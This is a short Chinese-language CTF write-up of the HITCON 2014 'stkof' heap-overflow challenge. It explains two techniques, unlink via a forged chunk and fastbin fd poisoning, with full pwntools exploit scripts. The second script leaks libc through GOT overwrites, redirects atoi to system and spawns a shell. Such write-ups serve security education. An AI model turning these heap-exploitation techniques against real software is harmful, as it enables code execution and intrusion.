strok: double free and fastbin

https://github.com/hitcon2014ctf/ctf/raw/master/a679df07a8f3a8d590febad45336d031-stkof

hitcon 2014 上的一道题目,很简单的堆溢出,想到两种解法:

  1. double free,很容易想到的解法。伪造 chunk -> free -> unlink,可以实现任意地址写。
#!/usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import *


# context.log_level = "DEBUG"
stkof = ELF("./stkof")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
io = process("./stkof")
global_array = 0x0000000000602140


def create(size):
    io.sendline("1")
    io.sendline(str(size))
    io.recv()


def update(index, data):
    io.sendline("2")
    io.sendline(str(index))
    io.sendline(str(len(data)))
    io.send(data)
    io.recv()


def delete(index):
    io.sendline("3")
    io.sendline(str(index))
    io.recv()


def read(index):
    io.sendline("4")
    io.sendline(str(index))
    ret = io.recvline().strip("\n")
    io.recv()
    return ret


# alloc
for i in range(3):
    create(256)

# overflow
payload = "A" * 256 + "A" * 0x10
payload += p64(0) + p64(0x101) + p64(global_array - 0x8) + p64(global_array) + "A" * (256 - 0x20)
payload += p64(0x100) + p64(0x110)
update(1, payload)

gdb.attach(io)

# double free
delete(3)

# 编辑 chunk 2 可以修改 global array,进而任意地址写

io.interactive()
  1. 利用 fastbin 的特性:溢出位于 fastbin 中的 chunk,改写 fd,这样第二次申请 fastbin 时就可以申请到改写的 fake chunk,造成任意地址写。
# alloc
for i in range(0x1f):
    create(20)

# free
delete(3)

# overflow
payload = "A" * 0x10
payload += p64(0) + p64(0x21) + p64(0x6020f8) + p64(0)
update(2, payload)

# alloc, set the global array to freelist
create(20)
# got ptr of the global array
create(20)

# rewrite the global array
payload = p64(0) * 8
payload += p64(stkof.got.get("atoi")) + p64(stkof.got.get("strlen"))
update(33, payload)

# set strlen.got.plt to puts
# bypass aslr
update(2, p64(stkof.plt.get("puts")))
atoi_addr = unpack(read(1), 'all')
system_addr = atoi_addr + 0xe510
log.success("atoi => {}".format(hex(atoi_addr)))
log.success("system => {}".format(hex(system_addr)))

# set atoi.got.plt to system
update(1, p64(system_addr))

# spawn
io.sendline("/bin/sh\x00")
io.interactive()